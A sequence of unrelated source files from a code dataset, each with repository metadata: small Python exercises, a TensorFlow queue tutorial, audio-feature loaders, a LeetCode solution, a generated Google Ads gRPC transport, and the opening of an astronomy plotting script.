| permissive | wasi0013/Python-CodeBase | 811f71024e81699363c1cd3b93e59412f20e758d | 4a7a36395162f68f84ded9085fa34cc7c9b19233 | refs/heads/master | 2020-12-24T21:01:38.893545 | 2016-04-26T15:13:36 | 2016-04-26T15:13:36 | 57,138,236 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 258 | py | import sys
import math
while True:
a=int(input())
if a<0 : break
d= 9+ 12*(a-1)
r= math.sqrt(d)
if r*r ==d :
r-=3
if r%6==0:
print("Y")
else :
print("N")
else : print("N")
| [
"[email protected]"
]
| |
0462a8a8229711aa4990eb67d187f7b2cb49d77c | fdedfbc1290016ae293edcc41df96d0a3fb8a99c | /tensorflow-tutorial/tf_imageprocess/tfqueue.py | 28610c999e22b3f05a98c40c0cede9f3286b0e42 | []
| no_license | Hsingmin/machine-learning | 5d798ff974429fccb84ad61b2f72f4bb375c80e3 | a554d9c2324b5daf0dde4c78f4a9b6e6b630e413 | refs/heads/master | 2021-01-23T18:47:51.153195 | 2018-06-14T14:48:09 | 2018-06-14T14:48:09 | 102,808,183 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,029 | py |
# tfqueue.py -- Queue as one kind of node in tensorflow have its own status .
#
import tensorflow as tf
import numpy as np
import threading
import time
'''
# Create a FIFO queue that can store two elements of integer type at most .
q = tf.FIFOQueue(2, "int32")
# Initialize elements in queue with enqueue_many() function .
init = q.enqueue_many(([0, 10],))
# Pop the tail element into variable x with dequeue() function .
x = q.dequeue()
y = x + 1
# Push y into queue .
q_inc = q.enqueue([y])
with tf.Session() as sess:
# Run queue initialize operation .
init.run()
for _ in range(5):
# The whole process including popping x , increment and pushing
# will be executed when running q_inc .
v, _ = sess.run([x, q_inc])
print(v)
'''
'''
# Inter-threads communication with tf.Coordinator class .
# Thread quit when shoul_stop() returns True ,
# Notice the other threads quit by calling request_stop() function .
# Function running in thread .
def MyLoop(coord, worker_id):
# Judge whethear stop and print own worker_id .
while not coord.should_stop():
# Stop all threads randomly .
if np.random.rand() < 0.1:
print("Stop from id: %d\n" % worker_id, end="")
# Notice the other threads quit .
coord.request_stop()
else:
print("Working on id : %d\n" % worker_id, end="")
time.sleep(1)
# Create Coordination class .
coord = tf.train.Coordinator()
# Create 5 threads .
threads = [threading.Thread(target=MyLoop, args=(coord, i,)) for i in range(5)]
# Start all threads .
for t in threads:
t.start()
# Wait for all threads quiting .
coord.join(threads)
'''
# Create a fifo queue with 100 elements of real data type at most .
queue = tf.FIFOQueue(100, "float")
# Push operation to queue .
enqueue_op = queue.enqueue([tf.random_normal([1])])
# Create multiple threads to run enqueue operations .
# [enqueue_op]*5 starting 5 threads in which enqueue_op running .
qr = tf.train.QueueRunner(queue, [enqueue_op]*5)
# Add created QueueRunner into collection of Tensorflow Graph .
# In tf.train.add_queue_runner() , no collection specified , then
# add QueueRunner into tf.GraphKeys.QUEUE_RUNNERS collection defaultly .
tf.train.add_queue_runner(qr)
# Pop operation from queue .
out_tensor = queue.dequeue()
with tf.Session() as sess:
# Coordinate started threads using tf.train.Coordinator() .
coord = tf.train.Coordinator()
# Explictly calling tf.train.start_queue_runners() to start all
# threads when QueueRunner() used , otherwise program would wait
# forever when calling dequeue operation .
#
# tf.train.start_queue_runners() will start all QueueRunners in
# tf.GraphKeys.QUEUE_RUNNERS collection , because it can only
# start QueueRunners specified in tf.train.add_queue_runner() .
threads = tf.train.start_queue_runners(sess=sess, coord=coord)
# Get value popped from queue .
for _ in range(3):
print(sess.run(out_tensor)[0])
# Stop all threads with tf.train.Coordinator .
coord.request_stop()
coord.join(threads)
| [
"[email protected]"
]
| |
cf687ec2adc2c5f5e262d3341fb5ff6157f9c7bf | 3ae1409baed016cc9061ef98806ee7786300d8d2 | /python_import/feature_handling.py | 98d3e5bfbed1361706d6d46523872abc8630214b | []
| no_license | zashin-AI/minsun | 550e8b7650fab4e265d11aed186590cbd6df5587 | 144181b619e6716c584b9282adbf8aa4a9fe4fd9 | refs/heads/master | 2023-05-08T21:11:02.771058 | 2021-06-04T01:59:24 | 2021-06-04T01:59:24 | 352,831,635 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,368 | py | import librosa
import numpy as np
import sklearn
import soundfile as sf
def load_data_mfcc(filepath, filename, labels):
'''
Args :
filepath : ํ์ผ ๋ถ๋ฌ ์ฌ ๊ฒฝ๋ก
filename : ๋ถ๋ฌ์ฌ ํ์ผ ํ์ฅ์๋ช
e.g. wav, flac....
labels : label ๋ฒํธ (์ฌ์ 0, ๋จ์ : 1)
'''
count = 1
dataset = list()
label = list()
def normalize(x, axis = 0):
return sklearn.preprocessing.minmax_scale(x, axis = axis)
files = librosa.util.find_files(filepath, ext=[filename])
files = np.asarray(files)
for file in files:
y, sr = librosa.load(file, sr=22050, duration=1.0)
length = (len(y) / sr)
if length < 5.0 : pass
else:
mels = librosa.feature.mfcc(y, sr=sr)
mels = librosa.amplitude_to_db(mels, ref=np.max)
mels = normalize(mels, axis = 1)
dataset.append(mels)
label.append(labels)
print(str(count))
count+=1
if labels == 0:
out_name = 'female'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mfcc_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mfcc_label.npy',
arr = label
)
elif labels == 1:
out_name = 'male'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mfcc_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mfcc_label.npy',
arr = label
)
data = np.load(
out_dir + out_name + '_mfcc_data.npy'
)
lab = np.load(
out_dir + out_name + '_mfcc_label.npy'
)
return data, lab
##########################################################################################
def load_data_mel(filepath, filename, labels):
'''
Args :
filepath : ํ์ผ ๋ถ๋ฌ ์ฌ ๊ฒฝ๋ก
filename : ๋ถ๋ฌ์ฌ ํ์ผ ํ์ฅ์๋ช
e.g. wav, flac....
labels : label ๋ฒํธ (์ฌ์ 0, ๋จ์ : 1)
'''
count = 1
dataset = list()
label = list()
def normalize(x, axis=0):
return sklearn.preprocessing.minmax_scale(x, axis=axis)
files = librosa.util.find_files(filepath, ext=[filename])
files = np.asarray(files)
for file in files:
y, sr = librosa.load(file, sr=22050, duration=10.0)
length = (len(y) / sr)
if length < 10.0 : pass
else:
mels = librosa.feature.melspectrogram(y, sr=sr, n_fft=512, hop_length=128)
mels = librosa.amplitude_to_db(mels, ref=np.max)
dataset.append(mels)
label.append(labels)
print(str(count))
count+=1
if labels == 0:
out_name = 'female'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mel_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mel_label.npy',
arr = label
)
elif labels == 1:
out_name = 'male'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mel_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mel_label.npy',
arr = label
)
data = np.load(
out_dir + out_name + '_mel_data.npy'
)
lab = np.load(
out_dir + out_name + '_mel_label.npy'
)
return data, lab
####################################################################################
# ๋
ธ์ด์ฆ ์ ๊ฑฐ ํ์ผ
def load_data_denoise_mel(filepath, filename, labels):
'''
Args :
filepath : ํ์ผ ๋ถ๋ฌ ์ฌ ๊ฒฝ๋ก
filename : ๋ถ๋ฌ์ฌ ํ์ผ ํ์ฅ์๋ช
e.g. wav, flac....
labels : label ๋ฒํธ (์ฌ์ 0, ๋จ์ : 1)
'''
count = 1
dataset = list()
label = list()
def normalize(x, axis=0):
return sklearn.preprocessing.minmax_scale(x, axis=axis)
files = librosa.util.find_files(filepath, ext=[filename])
files = np.asarray(files)
for file in files:
y, sr = librosa.load(file, sr=22050, duration=1.0)
length = (len(y) / sr)
if length < 5.0 : pass
else:
mels = librosa.feature.melspectrogram(y, sr=sr, n_fft=512, hop_length=128)
mels = librosa.amplitude_to_db(mels, ref=np.max)
dataset.append(mels)
label.append(labels)
print(str(count))
count+=1
if labels == 0:
out_name = 'female_denoise'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mel_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mel_label.npy',
arr = label
)
elif labels == 1:
out_name = 'male_denoise'
out_dir = 'c:/nmb/nmb_data/npy/'
np.save(
out_dir + out_name + '_mel_data.npy',
arr = dataset
)
np.save(
out_dir + out_name + '_mel_label.npy',
arr = label
)
data = np.load(
out_dir + out_name + '_mel_data.npy'
)
lab = np.load(
out_dir + out_name + '_mel_label.npy'
)
return data, lab | [
"[email protected]"
]
| |
6963934853735f22bd2b699b0ac88fcbc6d34969 | 387400d70932b7b65f0ad0e24cb8290a8ce6ed46 | /August_18/google2018/109. Convert Sorted List to Binary Search Tree.py | c30387c4193b90ad3e1a2c0cb9827f9132a6a1a9 | []
| no_license | insigh/Leetcode | 0678fc3074b6294e8369756900fff32c7ce4e311 | 29113d64155b152017fa0a98e6038323d1e8b8eb | refs/heads/master | 2021-01-20T07:51:21.051366 | 2018-09-17T13:33:15 | 2018-09-17T13:33:15 | 90,051,425 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,499 | py | """
Given a singly linked list where elements are sorted in ascending order, convert it to a height balanced BST.
For this problem, a height-balanced binary tree is defined as a binary tree in which the depth of the two subtrees of every node never differ by more than 1.
Example:
Given the sorted linked list: [-10,-3,0,5,9],
One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:
0
/ \
-3 9
/ /
-10 5
"""
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def sortedListToBST(self, head):
"""
:type head: ListNode
:rtype: TreeNode
"""
if not head:
return None
nums = []
while head:
nums.append(head.val)
head = head.next
root = self.constructBinaryTree(nums)
return root
def constructBinaryTree(self,nums):
if not nums:
return None
if len(nums) == 1:
return TreeNode(nums[0])
L = len(nums)
M = len(nums)//2
node = TreeNode(nums[M])
node.left = self.constructBinaryTree(nums[:M])
node.right = self.constructBinaryTree(nums[M+1:])
return node
| [
"[email protected]"
]
| |
8cf1f23012e9884ade8bf68f444cf1c1d258659f | 0529196c4d0f8ac25afa8d657413d4fc1e6dd241 | /runnie0427/02167/2167.py2.py | 647d88318f0d43ea322c4891d86388afa298c05c | []
| no_license | riyuna/boj | af9e1054737816ec64cbef5df4927c749808d04e | 06420dd38d4ac8e7faa9e26172b30c9a3d4e7f91 | refs/heads/master | 2023-03-17T17:47:37.198570 | 2021-03-09T06:11:41 | 2021-03-09T06:11:41 | 345,656,935 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,370 | py | <!DOCTYPE html>
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window.MathJax = {
tex: {
inlineMath: [ ['$', '$'], ['\\(', '\\)'] ],
displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
processEscapes: true,
tags: "ams",
autoload: {
color: [],
colorv2: ['color']
},
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},
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ignoreHtmlClass: "no-mathjax|redactor-editor",
processHtmlClass: 'mathjax',
enableMenu: false
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chtml: {
scale: 0.9
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};
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</body>
</html> | [
"[email protected]"
]
| |
5462675544f12dbe29b1c868dd76aa611f90b43a | 4fa832c70c3afbb55efc005b5c40167df52c18e0 | /Python Crash Course/vAnil/Chapter-6/6-11.py | 81c53c9b9e9abceea0d80ae3b98e44cf4b55529e | []
| no_license | DimpleOrg/PythonRepository | 76f87d21bfbbcc332f1b02956c4a0b48f084a97d | 82ce549c7c08366a368d4e439e8ff4d66a4176ee | refs/heads/main | 2023-06-09T21:54:28.330130 | 2021-05-06T13:00:48 | 2021-05-06T13:00:48 | 340,079,685 | 0 | 0 | null | 2021-07-01T12:41:39 | 2021-02-18T14:43:09 | HTML | UTF-8 | Python | false | false | 680 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Jan 6 17:04:37 2021
@author: ANIL
"""
cities = {
'delhi': {
'country': 'India',
'population': '2 crores',
'fact': 'capital of India'
},
'lucknow': {
'country': 'India',
'population': '50 lakhs',
'fact': 'capital of UP',
},
'mumbai': {
'country': 'India',
'population': '1 crore',
'fact': 'city of Indian film industry.'
},
}
for city in cities:
print(f'\nCity:\t\t\t{city.title()} \nInformations:')
for key, value in cities[city].items():
print(f'\t\t\t\t{key.title()}:\t{value}')
print('\n')
| [
"[email protected]"
]
| |
7987a696a4686316125b988503e2541779de5618 | 18fff3ece39927a72a2977c5266f9371e94cf06a | /scripts/config/config.py | 1d5c00d0f4c3569df3d3f12be432d2c265420eae | [
"MIT"
]
| permissive | luiscape/hdxscraper-ors | 0d2699be4269921abbe87191eca0cc3108b61142 | ec307625dcf266e448753d4de15b9a3d47c4026f | refs/heads/master | 2021-01-25T03:48:34.096902 | 2015-06-22T21:26:02 | 2015-06-22T21:26:02 | 22,961,731 | 2 | 0 | null | 2015-05-20T19:56:27 | 2014-08-14T17:02:05 | Python | UTF-8 | Python | false | false | 665 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import sys
dir = os.path.split(os.path.split(os.path.realpath(__file__))[0])[0]
sys.path.append(dir)
import json
from utilities.hdx_format import item
def LoadConfig(j='prod.json', verbose=True):
'''Load configuration parameters.'''
data_dir = os.path.join(os.path.split(dir)[0], 'config')
try:
j = os.path.join(data_dir, j)
with open(j) as json_file:
config = json.load(json_file)
except Exception as e:
print "%s Couldn't load configuration." % item('prompt_error')
if verbose:
print e
return False
return config
if __name__ == "__main__":
LoadConfig() | [
"[email protected]"
]
| |
a023fa2269979db481d37ab6482cdb5cd88e4d53 | 245b92f4140f30e26313bfb3b2e47ed1871a5b83 | /airflow/providers/google_vendor/googleads/v12/services/services/user_list_service/transports/grpc.py | aa22166efef7fdb969ffefbd194987071a083d21 | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
]
| permissive | ephraimbuddy/airflow | 238d6170a0e4f76456f00423124a260527960710 | 3193857376bc2c8cd2eb133017be1e8cbcaa8405 | refs/heads/main | 2023-05-29T05:37:44.992278 | 2023-05-13T19:49:43 | 2023-05-13T19:49:43 | 245,751,695 | 2 | 1 | Apache-2.0 | 2021-05-20T08:10:14 | 2020-03-08T04:28:27 | null | UTF-8 | Python | false | false | 12,287 | py | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import warnings
from typing import Callable, Dict, Optional, Sequence, Tuple
from google.api_core import grpc_helpers
from google.api_core import gapic_v1
import google.auth # type: ignore
from google.auth import credentials as ga_credentials # type: ignore
from google.auth.transport.grpc import SslCredentials # type: ignore
import grpc # type: ignore
from airflow.providers.google_vendor.googleads.v12.services.types import user_list_service
from .base import UserListServiceTransport, DEFAULT_CLIENT_INFO
class UserListServiceGrpcTransport(UserListServiceTransport):
"""gRPC backend transport for UserListService.
Service to manage user lists.
This class defines the same methods as the primary client, so the
primary client can load the underlying transport implementation
and call it.
It sends protocol buffers over the wire using gRPC (which is built on
top of HTTP/2); the ``grpcio`` package must be installed.
"""
_stubs: Dict[str, Callable]
def __init__(
self,
*,
host: str = "googleads.googleapis.com",
credentials: ga_credentials.Credentials = None,
credentials_file: str = None,
scopes: Sequence[str] = None,
channel: grpc.Channel = None,
api_mtls_endpoint: str = None,
client_cert_source: Callable[[], Tuple[bytes, bytes]] = None,
ssl_channel_credentials: grpc.ChannelCredentials = None,
client_cert_source_for_mtls: Callable[[], Tuple[bytes, bytes]] = None,
quota_project_id: Optional[str] = None,
client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,
always_use_jwt_access: Optional[bool] = False,
) -> None:
"""Instantiate the transport.
Args:
host (Optional[str]):
The hostname to connect to.
credentials (Optional[google.auth.credentials.Credentials]): The
authorization credentials to attach to requests. These
credentials identify the application to the service; if none
are specified, the client will attempt to ascertain the
credentials from the environment.
This argument is ignored if ``channel`` is provided.
credentials_file (Optional[str]): A file with credentials that can
be loaded with :func:`google.auth.load_credentials_from_file`.
This argument is ignored if ``channel`` is provided.
scopes (Optional(Sequence[str])): A list of scopes. This argument is
ignored if ``channel`` is provided.
channel (Optional[grpc.Channel]): A ``Channel`` instance through
which to make calls.
api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint.
If provided, it overrides the ``host`` argument and tries to create
a mutual TLS channel with client SSL credentials from
``client_cert_source`` or application default SSL credentials.
client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]):
Deprecated. A callback to provide client SSL certificate bytes and
private key bytes, both in PEM format. It is ignored if
``api_mtls_endpoint`` is None.
ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials
for the grpc channel. It is ignored if ``channel`` is provided.
client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]):
A callback to provide client certificate bytes and private key bytes,
both in PEM format. It is used to configure a mutual TLS channel. It is
ignored if ``channel`` or ``ssl_channel_credentials`` is provided.
quota_project_id (Optional[str]): An optional project to use for billing
and quota.
client_info (google.api_core.gapic_v1.client_info.ClientInfo):
The client info used to send a user-agent string along with
API requests. If ``None``, then default info will be used.
Generally, you only need to set this if you're developing
your own client library.
always_use_jwt_access (Optional[bool]): Whether self signed JWT should
be used for service account credentials.
Raises:
google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport
creation failed for any reason.
google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``
and ``credentials_file`` are passed.
"""
self._grpc_channel = None
self._ssl_channel_credentials = ssl_channel_credentials
self._stubs: Dict[str, Callable] = {}
if api_mtls_endpoint:
warnings.warn("api_mtls_endpoint is deprecated", DeprecationWarning)
if client_cert_source:
warnings.warn(
"client_cert_source is deprecated", DeprecationWarning
)
if channel:
# Ignore credentials if a channel was passed.
credentials = False
# If a channel was explicitly provided, set it.
self._grpc_channel = channel
self._ssl_channel_credentials = None
else:
if api_mtls_endpoint:
host = api_mtls_endpoint
# Create SSL credentials with client_cert_source or application
# default SSL credentials.
if client_cert_source:
cert, key = client_cert_source()
self._ssl_channel_credentials = grpc.ssl_channel_credentials(
certificate_chain=cert, private_key=key
)
else:
self._ssl_channel_credentials = (
SslCredentials().ssl_credentials
)
else:
if client_cert_source_for_mtls and not ssl_channel_credentials:
cert, key = client_cert_source_for_mtls()
self._ssl_channel_credentials = grpc.ssl_channel_credentials(
certificate_chain=cert, private_key=key
)
# The base transport sets the host, credentials and scopes
super().__init__(
host=host,
credentials=credentials,
credentials_file=credentials_file,
scopes=scopes,
quota_project_id=quota_project_id,
client_info=client_info,
always_use_jwt_access=always_use_jwt_access,
)
if not self._grpc_channel:
self._grpc_channel = type(self).create_channel(
self._host,
# use the credentials which are saved
credentials=self._credentials,
# Set ``credentials_file`` to ``None`` here as
# the credentials that we saved earlier should be used.
credentials_file=None,
scopes=self._scopes,
ssl_credentials=self._ssl_channel_credentials,
quota_project_id=quota_project_id,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
# Wrap messages. This must be done after self._grpc_channel exists
self._prep_wrapped_messages(client_info)
@classmethod
def create_channel(
cls,
host: str = "googleads.googleapis.com",
credentials: ga_credentials.Credentials = None,
credentials_file: str = None,
scopes: Optional[Sequence[str]] = None,
quota_project_id: Optional[str] = None,
**kwargs,
) -> grpc.Channel:
"""Create and return a gRPC channel object.
Args:
host (Optional[str]): The host for the channel to use.
credentials (Optional[~.Credentials]): The
authorization credentials to attach to requests. These
credentials identify this application to the service. If
none are specified, the client will attempt to ascertain
the credentials from the environment.
credentials_file (Optional[str]): A file with credentials that can
be loaded with :func:`google.auth.load_credentials_from_file`.
This argument is mutually exclusive with credentials.
scopes (Optional[Sequence[str]]): A optional list of scopes needed for this
service. These are only used when credentials are not specified and
are passed to :func:`google.auth.default`.
quota_project_id (Optional[str]): An optional project to use for billing
and quota.
kwargs (Optional[dict]): Keyword arguments, which are passed to the
channel creation.
Returns:
grpc.Channel: A gRPC channel object.
Raises:
google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``
and ``credentials_file`` are passed.
"""
return grpc_helpers.create_channel(
host,
credentials=credentials,
credentials_file=credentials_file,
quota_project_id=quota_project_id,
default_scopes=cls.AUTH_SCOPES,
scopes=scopes,
default_host=cls.DEFAULT_HOST,
**kwargs,
)
@property
def grpc_channel(self) -> grpc.Channel:
"""Return the channel designed to connect to this service.
"""
return self._grpc_channel
@property
def mutate_user_lists(
self,
) -> Callable[
[user_list_service.MutateUserListsRequest],
user_list_service.MutateUserListsResponse,
]:
r"""Return a callable for the mutate user lists method over gRPC.
Creates or updates user lists. Operation statuses are returned.
List of thrown errors: `AuthenticationError <>`__
`AuthorizationError <>`__ `CollectionSizeError <>`__
`DatabaseError <>`__ `DistinctError <>`__ `FieldError <>`__
`FieldMaskError <>`__ `HeaderError <>`__ `InternalError <>`__
`MutateError <>`__ `NewResourceCreationError <>`__
`NotAllowlistedError <>`__ `NotEmptyError <>`__
`OperationAccessDeniedError <>`__ `QuotaError <>`__
`RangeError <>`__ `RequestError <>`__ `StringFormatError <>`__
`StringLengthError <>`__ `UserListError <>`__
Returns:
Callable[[~.MutateUserListsRequest],
~.MutateUserListsResponse]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "mutate_user_lists" not in self._stubs:
self._stubs["mutate_user_lists"] = self.grpc_channel.unary_unary(
"/google.ads.googleads.v12.services.UserListService/MutateUserLists",
request_serializer=user_list_service.MutateUserListsRequest.serialize,
response_deserializer=user_list_service.MutateUserListsResponse.deserialize,
)
return self._stubs["mutate_user_lists"]
def close(self):
self.grpc_channel.close()
__all__ = ("UserListServiceGrpcTransport",)
| [
"[email protected]"
]
| |
4ecbc59278840ae59ba0f1bdb4527d98506b88bf | 74cf86509c669799a3a7ed4b7982d59dde695230 | /pilot_paper_code/plotting_code/plotW_impact.py | 8375e8f0b39ef4aae4b494f04f08ad2f1256ec6d | []
| no_license | frenchd24/pilot_paper | e77103ec4873758474f9020c76a8dad86fc6519c | a8d9191f9e435e02a8f6acfbd85ede32bdfd405d | refs/heads/master | 2020-05-20T06:54:13.266061 | 2019-05-07T17:08:42 | 2019-05-07T17:08:42 | 185,438,946 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 50,838 | py | #!/usr/bin/env python
'''
By David French ([email protected])
$Id: plotW_impact.py, v 5.6 9/26/16
Plot EW as a function of impact parameter, and impact parameter/diameter and /R_vir
(01/04/2016)
This is the plotW_b_diam bit from histograms3.py. Now is separated, and loads in a pickle
file of the relevant data, as created by "buildDataLists.py"
Previous (from histograms3.py):
Plot some stuff for the 100largest initial results
Make plots for AAS winter 2014 poster. Uses LG_correlation_combined2.csv file
Updated for the pilot paper (05/06/15)
v5.1: updated for LG_correlation_combined5_8_edit2.csv for l_min = 0.001 (02/24/2016)
v5.2: remake plots with v_hel instead of vcorr (4/21/16)
v5.3: remake plots with new large galaxy sample (7/13/16) -> /plots4/
v5.4: add the ability to limit results based on 'environment' number (7/14/16)
also add a likelihood limit
v5.5: major edits to structure and functions included. Same ideas, but better formatting
and removed some duplicate functions. Made plots4/ for new pilot paper (8/05/16)
v5.6: update with LG_correlation_combined5_11_25cut_edit4.csv and /plots5/
(9/26/16)
'''
import sys
import os
import csv
from pylab import *
# import atpy
from math import *
from utilities import *
import getpass
import pickle
from scipy import stats
# from astropy.io.votable import parse,tree
# from vo.table import parse
# import vo.tree
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.ticker import NullFormatter
from matplotlib import rc
# rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})
# ## for Palatino and other serif fonts use:
# #rc('font',**{'family':'serif','serif':['Palatino']})
# rc('text', usetex=True)
fontScale = 18
rc('text', usetex=True)
rc('font', size=18, family='serif', weight='normal')
rc('xtick.major',size=8,width=0.6)
rc('xtick.minor',size=5,width=0.6)
rc('ytick.major',size=8,width=0.6)
rc('ytick.minor',size=5,width=0.6)
rc('xtick',labelsize = fontScale)
rc('ytick',labelsize = fontScale)
rc('axes',labelsize = fontScale)
rc('xtick', labelsize = fontScale)
rc('ytick',labelsize = fontScale)
# rc('font', weight = 450)
# rc('axes',labelweight = 'bold')
rc('axes',linewidth = 1)
###########################################################################
def perc90(a):
if len(a)>0:
return percentile(a,90)
else:
return 0
def perc10(a):
if len(a)>0:
return percentile(a,10)
else:
return 0
def perc70(a):
if len(a)>0:
return percentile(a,70)
else:
return 0
def main():
# assuming 'theFile' contains one name per line, read the file
if getpass.getuser() == 'David':
pickleFilename = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/pilotData2.p'
# resultsFilename = '/Users/David/Research_Documents/inclination/git_inclination/LG_correlation_combined5_8_edit2.csv'
# saveDirectory = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/plots2/'
resultsFilename = '/Users/David/Research_Documents/inclination/git_inclination/LG_correlation_combined5_11_25cut_edit4.csv'
saveDirectory = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/plots5/'
elif getpass.getuser() == 'frenchd':
pickleFilename = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/pilotData2.p'
# resultsFilename = '/usr/users/frenchd/inclination/git_inclination/LG_correlation_combined5_8_edit2.csv'
# saveDirectory = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/plots2/'
resultsFilename = '/usr/users/frenchd/inclination/git_inclination/LG_correlation_combined5_11_25cut_edit4.csv'
saveDirectory = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/plots5/'
else:
print 'Could not determine username. Exiting.'
sys.exit()
# use the old pickle file to get the full galaxy dataset info
pickleFile = open(pickleFilename,'rU')
fullDict = pickle.load(pickleFile)
pickleFile.close()
# save each plot?
save = False
results = open(resultsFilename,'rU')
reader = csv.DictReader(results)
virInclude = False
cusInclude = False
finalInclude = True
maxEnv = 3000
minL = 0.001
# if match, then the includes in the file have to MATCH the includes above. e.g., if
# virInclude = False, cusInclude = True, finalInclude = False, then only systems
# matching those three would be included. Otherwise, all cusInclude = True would be included
# regardless of the others
match = False
# all the lists to be used for associated lines
lyaVList = []
lyaWList = []
lyaErrList = []
naList = []
bList = []
impactList = []
azList = []
incList = []
fancyIncList = []
cosIncList = []
cosFancyIncList = []
paList = []
vcorrList = []
majList = []
difList = []
envList = []
morphList = []
m15List = []
virList = []
likeList = []
likem15List = []
# for ambiguous lines
lyaVAmbList = []
lyaWAmbList = []
envAmbList = []
for l in reader:
include_vir = eval(l['include_vir'])
include_cus = eval(l['include_custom'])
include = eval(l['include'])
go = False
if match:
if virInclude == include_vir and cusInclude == include_cus:
go = True
else:
go = False
else:
if virInclude and include_vir:
go = True
elif cusInclude and include_cus:
go = True
elif finalInclude and include:
go = True
else:
go = False
if go:
AGNra_dec = eval(l['degreesJ2000RA_DecAGN'])
galaxyRA_Dec = eval(l['degreesJ2000RA_DecGalaxy'])
lyaV = l['Lya_v']
lyaW = l['Lya_W'].partition('pm')[0]
lyaW_err = l['Lya_W'].partition('pm')[2]
env = l['environment']
galaxyName = l['galaxyName']
impact = l['impactParameter (kpc)']
galaxyDist = l['distGalaxy (Mpc)']
pa = l['positionAngle (deg)']
RC3pa = l['RC3pa (deg)']
morph = l['morphology']
vcorr = l['vcorrGalaxy (km/s)']
maj = l['majorAxis (kpc)']
min = l['minorAxis (kpc)']
inc = l['inclination (deg)']
az = l['azimuth (deg)']
b = l['b'].partition('pm')[0]
b_err = l['b'].partition('pm')[2]
na = eval(l['Na'].partition(' pm ')[0])
print "l['Na'].partition(' pm ')[2] : ",l['Na'].partition(' pm ')
na_err = eval(l['Na'].partition(' pm ')[2])
likelihood = l['likelihood']
likelihoodm15 = l['likelihood_1.5']
virialRadius = l['virialRadius']
m15 = l['d^1.5']
vel_diff = l['vel_diff']
if isNumber(inc):
cosInc = cos(float(inc) * pi/180.)
if isNumber(maj) and isNumber(min):
q0 = 0.2
fancyInc = calculateFancyInclination(maj,min,q0)
cosFancyInc = cos(fancyInc * pi/180)
else:
fancyInc = -99
cosFancyInc = -99
else:
cosInc = -99
inc = -99
fancyInc = -99
cosFancyInc = -99
if isNumber(pa):
pa = float(pa)
elif isNumber(RC3pa):
pa = float(RC3pa)
else:
pa = -99
if isNumber(az):
az = float(az)
else:
az = -99
if isNumber(maj):
maj = float(maj)
virialRadius = float(virialRadius)
else:
maj = -99
virialRadius = -99
# all the lists to be used for associated lines
if float(env) <= maxEnv and float(likelihood) >= minL:
lyaVList.append(float(lyaV))
lyaWList.append(float(lyaW))
lyaErrList.append(float(lyaW_err))
naList.append(na)
bList.append(float(b))
impactList.append(float(impact))
azList.append(az)
incList.append(float(inc))
fancyIncList.append(fancyInc)
cosIncList.append(cosInc)
cosFancyIncList.append(cosFancyInc)
paList.append(pa)
vcorrList.append(vcorr)
majList.append(maj)
difList.append(float(vel_diff))
envList.append(float(env))
morphList.append(morph)
m15List.append(m15)
virList.append(virialRadius)
likeList.append(likelihood)
likem15List.append(likelihoodm15)
else:
lyaV = l['Lya_v']
lyaW = l['Lya_W'].partition('pm')[0]
lyaW_err = l['Lya_W'].partition('pm')[2]
env = l['environment']
lyaVAmbList.append(float(lyaV))
lyaWAmbList.append(float(lyaW))
envAmbList.append(float(env))
results.close()
# lists for the full galaxy dataset
allPA = fullDict['allPA']
allInclinations = fullDict['allInclinations']
allCosInclinations = fullDict['allCosInclinations']
allFancyInclinations = fullDict['allFancyInclinations']
